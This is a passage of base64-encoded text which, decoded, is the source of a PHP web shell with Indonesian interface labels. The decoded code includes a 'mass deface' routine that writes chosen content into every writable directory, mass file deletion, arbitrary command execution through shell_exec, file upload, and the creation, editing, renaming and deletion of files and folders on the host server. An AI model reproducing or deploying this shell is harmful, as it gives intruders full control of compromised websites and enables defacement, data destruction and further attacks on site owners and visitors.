kJCQlpZihpc193cml0YWJsZSgkZGlyYykpIHsKCQkJCQkJZWNobyAiWzxncj48aSBjbGFzcz0nYmkgYmktY2hlY2stYWxsJz48L2k+PC9ncj5dJm5ic3A7JGRpcmIvJG5hbWFmaWxlPGJyPiI7CgkJCQkJCWZpbGVfcHV0X2NvbnRlbnRzKCTilposICRpc2lfc2NyaXB0KTsKCQkJCQl9CgkJCQl9CgkJCX0KCQl9Cgl9Cn0KaWYoJF9QT1NUWydzdGFydCddKSB7CglpZigkX1BPU1RbJ3RpcGUnXSA9PSAnbWFzc2FsJykgewoJbWFzc19rYWJlaCgkX1BPU1RbJ2RfZGlyJ10sICRfUE9TVFsnZF9maWxlJ10sICRfUE9TVFsnc2NyaXB0J10pOwoJfSBlbHNlaWYoJF9QT1NUWyd0aXBlJ10gPT0gJ2JpYXNhJykgewoJbWFzc19iaWFzYSgkX1BPU1RbJ2RfZGlyJ10sICRfUE9TVFsnZF9maWxlJ10sICRfUE9TVFsnc2NyaXB0J10pOwoJfQp9CmVjaG8gIgo8ZGl2IGNsYXNzPSdtYi0zJz4KCTxmb3JtIG1ldGhvZD0nUE9TVCc+IFRpcGU6Cgk8ZGl2IGNsYXNzPSdmb3JtLWNoZWNrJz4KCQk8aW5wdXQgY2xhc3M9J2Zvcm0tY2hlY2staW5wdXQnIHR5cGU9J2NoZWNrYm94JyB2YWx1ZT0nYmlhc2EnIG5hbWU9J3RpcGUnIGlkPSdmbGV4Q2hlY2tEZWZhdWx0JyBjaGVja2VkPgoJCTxsYWJlbCBjbGFzcz0nZm9ybS1jaGVjay1sYWJlbCcgZm9yPSdmbGV4Q2hlY2tEZWZhdWx0Jz5CaWFzYTwvbGFiZWw+Cgk8L2Rpdj4KCTxkaXYgY2xhc3M9J2Zvcm0tY2hlY2snPgoJCTxpbnB1dCBjbGFzcz0nZm9ybS1jaGVjay1pbnB1dCcgdHlwZT0nY2hlY2tib3gnIHZhbHVlPSdtYXNzYWwnIG5hbWU9J3RpcGUnIGlkPSdmbGV4Q2hlY2tEZWZhdWx0Jz4KCQk8bGFiZWwgY2xhc3M9J2Zvcm0tY2hlY2stbGFiZWwnIGZvcj0nZmxleENoZWNrRGVmYXVsdCc+TWFzc2FsPC9sYWJlbD4KCTwvZGl2PgoJCTxpIGNsYXNzPSdiaSBiaS1mb2xkZXInPjwvaT4gTG9rYXNpOgoJCTxpbnB1dCBjbGFzcz0nZm9ybS1jb250cm9sIGJ0bi1zbScgdHlwZT0ndGV4dCcgbmFtZT0nZF9kaXInIHZhbHVlPSckZGlyJz4KCQk8aSBjbGFzcz0nYmkgYmktZmlsZS1lYXJtYXJrJz48L2k+IE5hbWEgZmlsZToKCQk8aW5wdXQgY2xhc3M9J2Zvcm0tY29udHJvbCBidG4tc20nIHR5cGU9J3RleHQnIG5hbWU9J2RfZmlsZScgcGxhY2Vob2xkZXI9J25hbWEgZmlsZScgJF9yPgoJCTxpIGNsYXNzPSdiaSBiaS1maWxlLWVhcm1hcmsnPjwvaT4gSXNpIGZpbGU6CgkJPHRleHRhcmVhIGNsYXNzPSdmb3JtLWNvbnRyb2wgYnRuLXNtJyByb3dzPSc3JyBuYW1lPSdzY3JpcHQnIHBsYWNlaG9sZGVyPSdpc2kgZmlsZScgJF9yPjwvdGV4dGFyZWE+CgkJPGRpdiBjbGFzcz0nZC1ncmlkIGdhcC0yJz4KCQkJPGlucHV0IGNsYXNzPSdidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtJyB0eXBlPSdzdWJtaXQnIG5hbWU9J3N0YXJ0JyB2YWx1ZT0nbWFzcyBkZWZhY2UnPgoJCTwvZGl2PgoJPC9mb3JtPgo8L2Rpdj4iOwp9CmlmKGlzc2V0KCRfR0VUWydtYXNzX2RlbGV0ZSddKSkgewplY2hvICIkX3MiOwpmdW5jdGlvbiBoYXB1c19tYXNzYWwoJGRpciwkbmFtYWZpbGUpIHsKaWYoaXNfd3JpdGFibGUoJGRpcikpIHsKCSRkaXJhID0gc2NhbmRpcigkZGlyKTsKCWZvcmVhY2goJGRpcmEgYXMgJGRpcmIpIHsKCQkkZGlyYyA9ICIkZGlyLyRkaXJiIjsKCQkk4paaID0gJGRpcmMuJy8nLiRuYW1hZmlsZTsKCQlpZigkZGlyYiA9PT0gJy4nKSB7CgkJCWlmKGZpbGVfZXhpc3RzKCIkZGlyLyRuYW1hZmlsZSIpKSB7CgkJCQl1bmxpbmsoIiRkaXIvJG5hbWFmaWxlIik7CgkJCX0KCQl9IGVsc2VpZigkZGlyYiA9PT0gJy4uJykgewoJCQlpZihmaWxlX2V4aXN0cygiIi5kaXJuYW1lKCRkaXIpLiIvJG5hbWFmaWxlIikpIHsKCQkJCXVubGluaygiIi5kaXJuYW1lKCRkaXIpLiIvJG5hbWFmaWxlIik7CgkJCX0KCQl9ZWxzZXsKCQkJaWYoaXNfZGlyKCRkaXJjKSkgewoJCQkJaWYoaXNfd3JpdGFibGUoJGRpcmMpKSB7CgkJCQkJaWYoZmlsZV9leGlzdHMoJOKWmikpIHsKCQkJCQkJZWNobyAiWzxncj48aSBjbGFzcz0nYmkgYmktY2hlY2stYWxsJz48L2k+PC9ncj5dJm5ic3A7JOKWmjxicj4iOwoJCQkJCQl1bmxpbmsoJOKWmik7CgkJCQkJCSTilp8gPSBoYXB1c19tYXNzYWwoJGRpcmMsJG5hbWFmaWxlKTsKCQkJCQkJfQoJCQkJCX0KCQkJCX0KCQkJfQoJCX0KCX0KfQppZigkX1BPU1RbJ3N0YXJ0J10pIHsKCWhhcHVzX21hc3NhbCgkX1BPU1RbJ2RfZGlyJ10sICRfUE9TVFsnZF9maWxlJ10pOwp9CmVjaG8gIgo8ZGl2IGNsYXNzPSdtYi0zJz4KCTxmb3JtIG1ldGhvZD0nUE9TVCc+CgkJPGkgY2xhc3M9J2JpIGJpLWZvbGRlcic+PC9pPiBMb2thc2k6CgkJPGlucHV0IGNsYXNzPSdmb3JtLWNvbnRyb2wgYnRuLXNtJyB0eXBlPSd0ZXh0JyBuYW1lPSdkX2RpcicgdmFsdWU9JyRkaXInPgoJCQk8aSBjbGFzcz0nYmkgYmktZmlsZS1lYXJtYXJrJz48L2k+IE5hbWEgZmlsZToKCQk8ZGl2IGNsYXNzPSdpbnB1dC1ncm91cCBtYi0zJz4KCQkJPGlucHV0IGNsYXNzPSdmb3JtLWNvbnRyb2wgYnRuLXNtJyB0eXBlPSd0ZXh0JyBuYW1lPSdkX2ZpbGUnIHBsYWNlaG9sZGVyPSduYW1hIGZpbGUnICRfcj48YnI+CgkJPGRpdiBjbGFzcz0naW5wdXQtZ3JvdXAtYXBwZW5kJz4KCQkJPGlucHV0IGNsYXNzPSdidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtJyB0eXBlPSdzdWJtaXQnIG5hbWU9J3N0YXJ0JyB2YWx1ZT0nbWFzcyBkZWxldGUnPgoJCTwvZGl2PgoJPC9mb3JtPgo8L2Rpdj4iOwp9CmlmKGlzc2V0KCRfR0VUWydjbWQnXSkpIHsKaWYoIWVtcHR5KCRfUE9TVFsnY21kJ10pKSB7CgkkY21kID0gc2hlbGxfZXhlYygkX1BPU1RbJ2NtZCddLicgMj4mMScpOwp9CmVjaG8gIiRfcwo8ZGl2IGNsYXNzPSdtYi0zJz4KCTxmb3JtIG1ldGhvZD0nUE9TVCc+CgkJPGRpdiBjbGFzcz0naW5wdXQtZ3JvdXAgbWItMyc+CgkJCTxpbnB1dCBjbGFzcz0nZm9ybS1jb250cm9sIGJ0bi1zbScgdHlwZT0ndGV4dCcgbmFtZT0nY21kJyB2YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnY21kJ10sIEVOVF9RVU9URVMsICdVVEYtOCcpLiInIHBsYWNlaG9sZGVyPSd3aG9hbWknICRfcj4KCQkJPGJ1dHRvbiBjbGFzcz0nYnRuIGJ0bi1vdXRsaW5lLWxpZ2h0IGJ0bi1zbScgdHlwZT0nc3VtYml0Jz48aSBjbGFzcz0nYmkgYmktYXJyb3ctcmV0dXJuLXJpZ2h0Jz48L2k+PC9idXR0b24+CgkJPC9kaXY+Cgk8L2Zvcm0+IjsKCWlmKCRjbWQpOgoJZWNobyAnCgk8ZGl2IGNsYXNzPSJjb250YWluZXItZmx1aWQgbGFuZ3VhZ2UtamF2YXNjcmlwdCI+CgkJPGRpdiBjbGFzcz0ic2hlbGwgbWItMyI+CgkJCTxwcmUgc3R5bGU9ImZvbnQtc2l6ZToxMHB4OyI+PGNvZGU+Jy5odG1sc3BlY2lhbGNoYXJzKCRjbWQsIEVOVF9RVU9URVMsICdVVEYtOCcpLic8L2NvZGU+PC9wcmU+CgkJPC9kaXY+Cgk8L2Rpdj4nOwoJZWxzZWlmKCEkY21kICYmICRfU0VSVkVSWydSRVFVRVNUX01FVEhPRCddID09ICdQT1NUJyk6CgllY2hvICcKCTxkaXYgY2xhc3M9ImNvbnRhaW5lci1mbHVpZCBsYW5ndWFnZS1qYXZhc2NyaXB0Ij4KCQk8ZGl2IGNsYXNzPSJzaGVsbCBtYi0zIj4KCQkJPHByZSBzdHlsZT0iZm9udC1zaXplOjEwcHg7Ij48Y29kZT5UaWRhayBhZGEgaGFzaWw8L2NvZGU+PC9wcmU+CgkJPC9kaXY+Cgk8L2Rpdj4KPC9kaXY+JzsKZW5kaWY7Cn0KaWYoaXNzZXQoJF9HRVRbJ3BocGluZm8nXSkpIHsKCUBvYl9zdGFydCgpOwoJQGV2YWwoInBocGluZm8oKTsiKTsKCSRidWZmID0gQG9iX2dldF9jb250ZW50cygpOwoJQG9iX2VuZF9jbGVhbigpOwkKCSRhd2FsID0gc3RycG9zKCRidWZmLCI8Ym9keT4iKSs2OwoJJGFraGlyID0gc3RycG9zKCRidWZmLCI8L2JvZHk+Iik7CgllY2hvICI8Yj48cHJlIGNsYXNzPSdwaHBfaW5mbyBhbnUnPiIuc3Vic3RyKCRidWZmLCRhd2FsLCRha2hpci0kYXdhbCkuIjwvcHJlPjwvYj4iOwoJZXhpdDsKfQppZihpc3NldCgkX0dFVFsndXBsb2FkJ10pKSB7CmVjaG8gIiRfcyI7CmlmKGlzc2V0KCRfUE9TVFsndXBsJ10pKXsKCSRoYXNpbCA9IGNvdW50KCRfRklMRVNbJ2ZpbGUnXVsnbmFtZSddKTsKCWZvcigkaXNpPTA7JGlzaTwkaGFzaWw7JGlzaSsrKXsKCQkkbmFtYWZpbGUgPSAkX0ZJTEVTWydmaWxlJ11bJ25hbWUnXVskaXNpXTsKCQkJJHVwID0gQGNvcHkoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddWyRpc2ldLCIkcGF0aC8iLiRuYW1hZmlsZSk7CgkJfQoJCWlmKCRoYXNpbCA8IDIpewoJCQlpZigkdXApewoJCQllY2hvICI8c3Ryb25nPlVwbG9hZDwvc3Ryb25nPiAkbmFtYWZpbGUgb2shICIub2soKS4iPC9kaXY+IjsKCQl9ZWxzZXsKCQllY2hvICc8c3Ryb25nPlVwbG9hZDwvc3Ryb25nPiBnYWdhbCEgJy5lcigpLic8L2Rpdj4nOwoJCX0KCX1lbHNlewoJZWNobyAiPHN0cm9uZz5VcGxvYWQ8L3N0cm9uZz4gJGhhc2lsIG9rISAiLm9rKCkuIjwvZGl2PiI7Cgl9Cn0KZWNobyAiCjxkaXYgY2xhc3M9J21iLTMnPgoJPGZvcm0gbWV0aG9kPSdQT1NUJyBlbmN0eXBlPSdtdWx0aXBhcnQvZm9ybS1kYXRhJz4KCQk8ZGl2IGNsYXNzPSdpbnB1dC1ncm91cCBtYi0zJz4KCQkJPGlucHV0IGNsYXNzPSdmb3JtLWNvbnRyb2wgZm9ybS1jb250cm9sLXNtJyB0eXBlPSdmaWxlJyBuYW1lPSdmaWxlW10nIG11bHRpcGxlPScnICRfcj4KCQkJPGlucHV0IGNsYXNzPSdidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtJyB0eXBlPSdzdWJtaXQnIG5hbWU9J3VwbCcgdmFsdWU9J3VwbG9hZCc+CgkJPC9kaXY+Cgk8L2Zvcm0+CjwvZGl2PiI7Cn0KaWYoaXNzZXQoJF9HRVRbJ2ZpbGViYXJ1J10pKSB7CmVjaG8gIiRfcyI7CmlmKGlzc2V0KCRfUE9TVFsnYmlraW4nXSkpewoJJG5hbWUgPSAkX1BPU1RbJ25hbWFfZmlsZSddOwoJJGlzaV9maWxlID0gJF9QT1NUWydpc2lfZmlsZSddOwoJZm9yZWFjaCAoJG5hbWUgYXMgJG5hbWFfZmlsZSl7CgkJJGhhbmRsZSA9IEBmb3BlbigiJG5hbWFfZmlsZSIsICJ3Iik7CgkJaWYoJGlzaV9maWxlKXsKCQkJJGJ1YXQgPSBAZndyaXRlKCRoYW5kbGUsICRpc2lfZmlsZSk7CgkJfWVsc2V7CgkJCSRidWF0ID0gJGhhbmRsZTsKCQl9Cgl9CglpZigkYnVhdCl7CgkJZWNobyAiPHNjcmlwdD53aW5kb3cubG9jYXRpb249Jz9wYXRoPSRwYXRoJzwvc2NyaXB0PiI7Cgl9ZWxzZXsKCQllY2hvICc8c3Ryb25nPkJ1YXQgZmlsZTwvc3Ryb25nPiBnYWdhbCEgJy5lcigpLic8L2Rpdj4nOwoJCX0KCX0KZWNobyAiCjxkaXYgY2xhc3M9J21iLTMnPgoJPGZvcm0gbWV0aG9kPSdQT1NUJz4KCQk8aSBjbGFzcz0nYmkgYmktZmlsZS1lYXJtYXJrJz48L2k+IE5hbWEgZmlsZToKCQk8aW5wdXQgY2xhc3M9J2Zvcm0tY29udHJvbCBmb3JtLWNvbnRyb2wtc20nIHR5cGU9J3RleHQnIG5hbWU9J25hbWFfZmlsZVtdJyBwbGFjZWhvbGRlcj0nTmFtYSBmaWxlJyAkX3I+CgkJPGkgY2xhc3M9J2JpIGJpLWZpbGUtZWFybWFyayc+PC9pPiBJc2kgZmlsZToKCQk8dGV4dGFyZWEgY2xhc3M9J2Zvcm0tY29udHJvbCBmb3JtLWNvbnRyb2wtc20nIG5hbWU9J2lzaV9maWxlJyByb3dzPSc3JyBwbGFjZWhvbGRlcj0nSXNpIGZpbGUnICRfciA+PC90ZXh0YXJlYT4KCQk8ZGl2IGNsYXNzPSdkLWdyaWQgZ2FwLTInPgoJCQk8aW5wdXQgY2xhc3M9J2J0biBidG4tb3V0bGluZS1saWdodCBidG4tc20nIHR5cGU9J3N1Ym1pdCcgbmFtZT0nYmlraW4nIHZhbHVlPSdidWF0Jz4KCQk8L2Rpdj4KCTwvZm9ybT4KPC9kaXY+IjsKfQppZihpc3NldCgkX0dFVFsnZGlyYmFydSddKSkgewplY2hvICIkX3MiOwppZihpc3NldCgkX1BPU1RbJ2J1YXQnXSkpewoJJG5hbWEgPSAkX1BPU1RbJ25hbWFfZGlyJ107Cglmb3JlYWNoICgkbmFtYSBhcyAkbmFtYV9kaXIpewoJCSRmb2xkZXIgPSBwcmVnX3JlcGxhY2UoIihbXlx3XHNcZFwtX34sOzpcW1xdXChcXS5dfFtcLl17Mix9KSIsICcnLCAkbmFtYV9kaXIpOwoJCSRmZCA9IEBta2RpciAoJGZvbGRlcik7Cgl9CglpZigkZmQpewoJCWVjaG8gIjxzY3JpcHQ+d2luZG93LmxvY2F0aW9uPSc/cGF0aD0kcGF0aCc8L3NjcmlwdD4iOwoJfWVsc2V7CgkJZWNobyAnPHN0cm9uZz5CdWF0IGRpcjwvc3Ryb25nPiBnYWdhbCEgJy5lcigpLic8L2Rpdj4nOwoJCX0KCX0KZWNobyAiCjxkaXYgY2xhc3M9J21iLTMnPgoJPGZvcm0gbWV0aG9kPSdQT1NUJz4KCQk8aSBjbGFzcz0nYmkgYmktZm9sZGVyJz48L2k+IE5hbWEgZGlyOgoJCTxkaXYgY2xhc3M9J2lucHV0LWdyb3VwIG1iLTMnPgoJCQk8aW5wdXQgY2xhc3M9J2Zvcm0tY29udHJvbCBmb3JtLWNvbnRyb2wtc20nIHR5cGU9J3RleHQnIG5hbWU9J25hbWFfZGlyW10nIHBsYWNlaG9sZGVyPSdOYW1hIGRpcicgJF9yPgoJCQk8aW5wdXQgY2xhc3M9J2J0biBidG4tb3V0bGluZS1saWdodCBidG4tc20nIHR5cGU9J3N1Ym1pdCcgbmFtZT0nYnVhdCcgdmFsdWU9J2J1YXQnPgoJCTwvZGl2PgoJPC9mb3JtPgo8L2Rpdj4iOwoJfQp9Ci8vIGFraGlyIHRvb2xzCmlmKGlzc2V0KCRfR0VUWydmaWxlc3JjJ10pKXsKZWNobyAiPGJyPjxiPm5hbWUgOiA8L2I+Ii5iYXNlbmFtZSgkX0dFVFsnZmlsZXNyYyddKTsiPC9icj4iOwplY2hvICcKPGRpdiBjbGFzcz0iY29udGFpbmVyLWZsdWlkIGxhbmd1YWdlLWphdmFzY3JpcHQiPgoJPGRpdiBjbGFzcz0ic2hlbGwgbWItMyI+CgkJPHByZSBzdHlsZT0iZm9udC1zaXplOjEycHg7Ij48Y29kZT4nLmh0bWxzcGVjaWFsY2hhcnMoZmlsZV9nZXRfY29udGVudHMoJF9HRVRbJ2ZpbGVzcmMnXSkpLic8L2NvZGU+PC9wcmU+Cgk8L2Rpdj4KPC9kaXY+JzsKfSBlbHNlaWYoaXNzZXQoJF9HRVRbJ29wdGlvbiddKSAmJiAkX1BPU1RbJ29wdCddICE9ICdoYXB1cycpewplY2hvICc8YnI+PGI+bmFtZSA6IDwvYj4nLmJhc2VuYW1lKCRfUE9TVFsncGF0aCddKTsnPC9icj4nOwovLyBmaWxlCmlmKCRfUE9TVFsnb3B0J10gPT0gJ2dhbnRpX25hbWEnKXsKaWYoaXNzZXQoJF9QT1NUWyduYW1hX2JhcnUnXSkpewppZihyZW5hbWUoJF9QT1NUWydwYXRoJ10sJHBhdGguJy8nLiRfUE9TVFsnbmFtYV9iYXJ1J10pKXsKZWNobyAiPHNjcmlwdD53aW5kb3cubG9jYXRpb249Jz9wYXRoPSRwYXRoJzwvc2NyaXB0PiI7Cgl9ZWxzZXsKZWNobyAnPHN0cm9uZz5HYW50aSBuYW1hPC9zdHJvbmc+IGdhZ2FsISAnLmVyKCkuJzwvZGl2Pic7Cn0KJF9QT1NUWyduYW1lJ10gPSAkX1BPU1RbJ25hbWFfYmFydSddOwp9CmVjaG8gJwo8Zm9ybSBtZXRob2Q9IlBPU1QiPgoJPGRpdiBjbGFzcz0iaW5wdXQtZ3JvdXAgbWItMyI+CgkJPGlucHV0IGNsYXNzPSJmb3JtLWNvbnRyb2wgZm9ybS1jb250cm9sLXNtIiBuYW1lPSJuYW1hX2JhcnUiIHR5cGU9InRleHQiIHZhbHVlPSInLiRfUE9TVFsnbmFtZSddLiciIC8+CgkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRfUE9TVFsncGF0aCddLiciPgoJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9ImdhbnRpX25hbWEiPgoJCTxpbnB1dCBjbGFzcz0iYnRuIGJ0bi1vdXRsaW5lLWxpZ2h0IGJ0bi1zbSIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iZ2FudGkgbmFtYSIvPgoJPC9kaXY+CjwvZm9ybT4nOwp9IGVsc2VpZigkX1BPU1RbJ29wdCddID09ICdlZGl0Jyl7CmlmKGlzc2V0KCRfUE9TVFsnc3JjJ10pKXsKJGZwID0gZm9wZW4oJF9QT1NUWydwYXRoJ10sJ3cnKTsKaWYoZndyaXRlKCRmcCwkX1BPU1RbJ3NyYyddKSl7CmVjaG8gJzxzdHJvbmc+RWRpdDwvc3Ryb25nPiBvayEgJy5vaygpLic8L2Rpdj4nOwoJfWVsc2V7CmVjaG8gJzxzdHJvbmc+RWRpdDwvc3Ryb25nPiBnYWdhbCEgJy5lcigpLic8L2Rpdj4nOwp9CmZjbG9zZSgkZnApOwp9CmVjaG8gJwo8ZGl2IGNsYXNzPSJtYi0zIj4KCTxmb3JtIG1ldGhvZD0iUE9TVCI+CgkJPHRleHRhcmVhIGNsYXNzPSJmb3JtLWNvbnRyb2wgZm9ybS1jb250cm9sLXNtIG1iLTMiIHJvd3M9IjciIG5hbWU9InNyYyI+Jy5odG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKCRfUE9TVFsncGF0aCddKSkuJzwvdGV4dGFyZWE+CgkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRfUE9TVFsncGF0aCddLiciPgoJCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJlZGl0Ij4KCQk8ZGl2IGNsYXNzPSJkLWdyaWQgZ2FwLTIiPgoJCQk8aW5wdXQgY2xhc3M9ImJ0biBidG4tb3V0bGluZS1saWdodCBidG4tc20iIHR5cGU9InN1Ym1pdCIgdmFsdWU9ImVkaXQiLz4KCQk8L2Rpdj4KCTwvZm9ybT4KPC9kaXY+JzsKCX0KfWVsc2V7Ci8vaGFwdXMgZGlyICYgZmlsZQppZihpc3NldCgkX0dFVFsnb3B0aW9uJ10pICYmICRfUE9TVFsnb3B0J10gPT0gJ2hhcHVzJyl7CmlmKCRfUE9TVFsndHlwZSddID09ICdkaXInKXsKaWYocm1kaXIoJF9QT1NUWydwYXRoJ10pKXsKCWVjaG8gIjxzY3JpcHQ+d2luZG93LmxvY2F0aW9uPSc/cGF0aD0kcGF0aCc8L3NjcmlwdD4iOwoJfWVsc2V7CgllY2hvICc8c3Ryb25nPkhhcHVzIGRpcjwvc3Ryb25nPiBnYWdhbCEgJy5lcigpLic8L2Rpdj4nOwoJfQp9IGVsc2VpZigkX1BPU1RbJ3R5cGUnXSA9PSAnZmlsZScpewppZih1bmxpbmsoJF9QT1NUWydwYXRoJ10pKXsKCWVjaG8gIjxzY3JpcHQ+d2luZG93LmxvY2F0aW9uPSc/cGF0aD0kcGF0aCc8L3NjcmlwdD4iOwoJfWVsc2V7CgllY2hvICc8c3Ryb25nPkhhcHVzIGZpbGU8L3N0cm9uZz4gZ2FnYWwhICcuZXIoKS4nPC9kaXY+JzsKCQl9Cgl9Cn0KJHNjYW5kaXIgPSBzY2FuZGlyKCRwYXRoKTsKJHBhID0gZ2V0Y3dkKCk7CmVjaG8gJwo8ZGl2IGNsYXNzPSJ0YWJsZS1yZXNwb25zaXZlIj4KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciB0YWJsZS1kYXJrIHRleHQtbGlnaHQiPgo8dGhlYWQ+Cjx0cj4KCTx0ZCBjbGFzcz0idGV4dC1jZW50ZXIiPm5hbWU8L3RkPgoJCTx0ZCBjbGFzcz0idGV4dC1jZW50ZXIiPmxhc3QgZWRpdDwvdGQ+CgkJPHRkIGNsYXNzPSJ0ZXh0LWNlbnRlciI+c2l6ZTwvdGQ+CgkJPHRkIGNsYXNzPSJ0ZXh0LWNlbnRlciI+b3duZXI8Z3I+OjwvZ3I+ZG93bmVyPC90ZD4KCQk8dGQgY2xhc3M9InRleHQtY2VudGVyIj5wZXJtaXNzaW9uPC90ZD4KCTx0ZCBjbGFzcz0idGV4dC1jZW50ZXIiPm9wdGlvbnM8L3RkPgo8L3RyPgo8L3RoZWFkPgo8dGJvZHkgY2xhc3M9InRleHQtbm93cmFwIj4KPHRyPgoJPHRkPjxpIGNsYXNzPSJiaSBiaS1mb2xkZXIyLW9wZW4iPjwvaT48YSBjbGFzcz0idGV4dC1kZWNvcmF0aW9uLW5vbmUgdGV4dC1zZWNvbmRhcnkiIGhyZWY9Ij9wYXRoPScuZGlybmFtZSgkZGlyKS4nIj4uLjwvYT48L3RkPjx0ZD48L3RkPjx0ZD48L3RkPjx0ZD48L3RkPjx0ZD48L3RkPjx0ZCBjbGFzcz0idGV4dC1jZW50ZXIiPgoJCTxkaXYgY2xhc3M9ImJ0bi1ncm91cCI+CgkJCTxhIGNsYXNzPSJidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtIiBocmVmPSI/ZmlsZWJhcnUmcGF0aD0nLiRkaXIuJyI+PGkgY2xhc3M9ImJpIGJpLWZpbGUtZWFybWFyay1wbHVzLWZpbGwiPjwvaT48L2E+CgkJCTxhIGNsYXNzPSJidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtIiBocmVmPSI/ZGlyYmFydSZwYXRoPScuJGRpci4nIj48aSBjbGFzcz0iYmkgYmktZm9sZGVyLXBsdXMiPjwvaT48L2E+CgkJPC9kaXY+Cgk8L3RkPgo8L3RyPic7CmZvcmVhY2goJHNjYW5kaXIgYXMgJGRpcil7CgkkZHQgPSBkYXRlKCJZLW0tZCBIOmk6cyIsIGZpbGVtdGltZSgiJHBhdGgvJGRpciIpKTsKCWlmKGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0cHd1aWQnKSkgewoJCSRkb3duZXIgPSBAcG9zaXhfZ2V0cHd1aWQoZmlsZW93bmVyKCIkcGF0aC8kZGlyIikpOwoJCSRkb3duZXIgPSAkZG93bmVyWyduYW1lJ107Cgl9ZWxzZXsKCQkkZG93bmVyID0gZmlsZW93bmVyKCIkcGF0aC8kZGlyIik7Cgl9CglpZihmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldGdyZ2lkJykpIHsKCQkkZGdycCA9IEBwb3NpeF9nZXRncmdpZChmaWxlZ3JvdXAoIiRwYXRoLyRkaXIiKSk7CgkJJGRncnAgPSAkZGdycFsnbmFtZSddOwoJfWVsc2V7CgkJJGRncnAgPSBmaWxlZ3JvdXAoIiRwYXRoLyRkaXIiKTsKCX0KaWYoIWlzX2RpcigiJHBhdGgvJGRpciIpIHx8ICRkaXIgPT0gJy4nIHx8ICRkaXIgPT0gJy4uJykgY29udGludWU7CmVjaG8gIgo8dHI+Cgk8dGQ+PGkgY2xhc3M9J2JpIGJpLWZvbGRlci1maWxsJz48L2k+PGEgY2xhc3M9J3RleHQtZGVjb3JhdGlvbi1ub25lIHRleHQtc2Vjb25kYXJ5JyBocmVmPVwiP3BhdGg9JHBhdGgvJGRpclwiPiRkaXI8L2E+PC90ZD4KCTx0ZCBjbGFzcz0ndGV4dC1jZW50ZXInPiRkdDwvdGQ+Cgk8dGQgY2xhc3M9J3RleHQtY2VudGVyJz4tPC90ZD4KCTx0ZCBjbGFzcz0ndGV4dC1jZW50ZXInPiRkb3duZXI8Z3I+OjwvZ3I+JGRncnA8L3RkPgoJPHRkIGNsYXNzPSd0ZXh0LWNlbnRlcic+IjsKaWYoaXNfd3JpdGFibGUoIiRwYXRoLyRkaXIiKSkgZWNobyAnPGdyPic7CmVsc2VpZighaXNfcmVhZGFibGUoIiRwYXRoLyRkaXIiKSkgZWNobyAnPHJkPic7CmVjaG8gcCgiJHBhdGgvJGRpciIpOwppZihpc193cml0YWJsZSgiJHBhdGgvJGRpciIpIHx8ICFpc19yZWFkYWJsZSgiJHBhdGgvJGRpciIpKSBlY2hvICc8L2dyPjwvcmQ+PC90ZD4nOwplY2hvICIKCTx0ZCBjbGFzcz1cInRleHQtY2VudGVyXCI+Cgk8Zm9ybSBtZXRob2Q9XCJQT1NUXCIgYWN0aW9uPVwiP29wdGlvbiZwYXRoPSRwYXRoXCI+CgkJPGRpdiBjbGFzcz1cImJ0bi1ncm91cFwiPgoJCQk8YnV0dG9uIGNsYXNzPVwiYnRuIGJ0bi1vdXRsaW5lLWxpZ2h0IGJ0bi1zbVwiIG5hbWU9XCJvcHRcIiB2YWx1ZT1cImdhbnRpX25hbWFcIj48aSBjbGFzcz0nYmkgYmktcGVuY2lsLWZpbGwnPjwvaT48L2J1dHRvbj4KCQkJPGJ1dHRvbiBjbGFzcz1cImJ0biBidG4tb3V0bGluZS1saWdodCBidG4tc21cIiBuYW1lPVwib3B0XCIgdmFsdWU9XCJoYXB1c1wiPjxpIGNsYXNzPSdiaSBiaS10cmFzaC1maWxsJz48L2k+PC9idXR0b24+CgkJPC9kaXY+CgkJPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwidHlwZVwiIHZhbHVlPVwiZGlyXCI+CgkJPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwibmFtZVwiIHZhbHVlPVwiJGRpclwiPgoJCTxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInBhdGhcIiB2YWx1ZT1cIiRwYXRoLyRkaXJcIj4KCTwvZm9ybT4KCTwvdGQ+CjwvdHI+IjsKfQpmb3JlYWNoKCRzY2FuZGlyIGFzICRmaWxlKXsKCSRmdCA9IGRhdGUoIlktbS1kIEg6aTpzIiwgZmlsZW10aW1lKCIkcGF0aC8kZmlsZSIpKTsKCWlmKCFpc19maWxlKCRwYXRoLicvJy4kZmlsZSkpIGNvbnRpbnVlOwoJaWYoZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRwd3VpZCcpKSB7CgkJJGZvd25lciA9IEBwb3NpeF9nZXRwd3VpZChmaWxlb3duZXIoIiRwYXRoLyRmaWxlIikpOwoJCSRmb3duZXIgPSAkZm93bmVyWyduYW1lJ107Cgl9ZWxzZXsKCQkkZm93bmVyID0gZmlsZW93bmVyKCIkcGF0aC8kZmlsZSIpOwoJfQoJaWYoZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRncmdpZCcpKSB7CgkJJGZncnAgPSBAcG9zaXhfZ2V0Z3JnaWQoZmlsZWdyb3VwKCIkcGF0aC8kZmlsZSIpKTsKCQkkZmdycCA9ICRmZ3JwWyduYW1lJ107Cgl9ZWxzZXsKCQkkZmdycCA9IGZpbGVncm91cCgiJHBhdGgvJGZpbGUiKTsKCX0KZWNobyA